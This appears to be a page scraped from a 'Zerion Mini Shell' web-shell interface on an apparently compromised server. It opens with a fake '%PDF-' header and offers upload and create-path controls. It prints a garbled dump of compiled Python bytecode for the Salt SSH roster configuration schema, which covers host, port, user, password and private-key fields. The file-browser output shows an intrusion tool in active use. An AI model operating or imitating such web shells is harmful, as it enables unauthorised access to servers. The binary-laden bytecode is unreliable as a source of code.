%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/lib/python2.7/site-packages/salt/config/schemas/
Upload File :
Create Path :
Current File : //proc/227033/root/lib/python2.7/site-packages/salt/config/schemas/ssh.pyc

�
���^c@@s�dZddlmZmZmZddlmZmZmZm	Z	m
Z
mZmZm
Z
mZddlmZdefd��YZdefd��YZd	S(
u�
    :codeauthor: Pedro Algarvio (pedro@algarvio.me)


    salt.config.schemas.ssh
    ~~~~~~~~~~~~~~~~~~~~~~~

    Salt SSH related configuration schemas
i(tabsolute_importtprint_functiontunicode_literals(	tSchemat
StringItemtIntegerItemt
SecretItemtPortItemtBooleanItemtRequirementsItemtDictItemt	AnyOfItem(tMinionConfigurationtRosterEntryConfigcB@smeZdZdZdZeddddddd	d
de�Zedddd
dd�Z	eddddddd	d
de�Z
eddddd	d
�Zeddddd	d
�Z
eddddd	d
�Zededdg�eddg�f�de�Zeddddde�Zedd dd!�Zedd"dd#�Zedd$dd%d&e��ZRS('u6
    Schema definition of a Salt SSH Roster entry
    uRoster Entryu Salt SSH roster entry definitionttitleuHosttdescriptionu-The IP address or DNS name of the remote hosttpatternuL^((\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|([A-Za-z0-9][A-Za-z0-9\.\-]{1,255}))$t
min_lengthitrequireduPortu#The target system's ssh port numbertdefaultiuUseru'The user to log in as. Defaults to rooturootuPassworduThe password to log in withuPrivate Keyu6File path to ssh private key, defaults to salt-ssh.rsauPrivate Key passphraseuPassphrase for private key filetitemstrequirementsupasswduprivtflattenuSudou'run command via sudo. Defaults to FalseuTimeoutuJNumber of seconds to wait for response when establishing an SSH connectionuThin DirectoryuXThe target system's storage directory for Salt components. Defaults to /tmp/salt-<hash>.uMinion OptionsuDictionary of minion optionst
properties(t__name__t
__module__t__doc__RRRtTruethostRtporttuserRtpasswdtprivtpriv_passwdRR	tpasswd_or_priv_requirementRtFalsetsudoRttimeouttthin_dirR
Rtminion_opts(((s;/usr/lib/python2.7/site-packages/salt/config/schemas/ssh.pyR
sJ						!			t
RosterItemcB@s6eZdZdZedie�d6�de�ZRS(uRoster ConfigurationuRoster entries definitiontpattern_propertiesu	^([^:]+)$R(RRRRR
R
Rtroster_entries(((s;/usr/lib/python2.7/site-packages/salt/config/schemas/ssh.pyR(Ls
N(Rt
__future__RRRtsalt.utils.schemaRRRRRRR	R
Rtsalt.config.schemas.minionRR
R((((s;/usr/lib/python2.7/site-packages/salt/config/schemas/ssh.pyt<module>
s
@
/

Zerion Mini Shell 1.0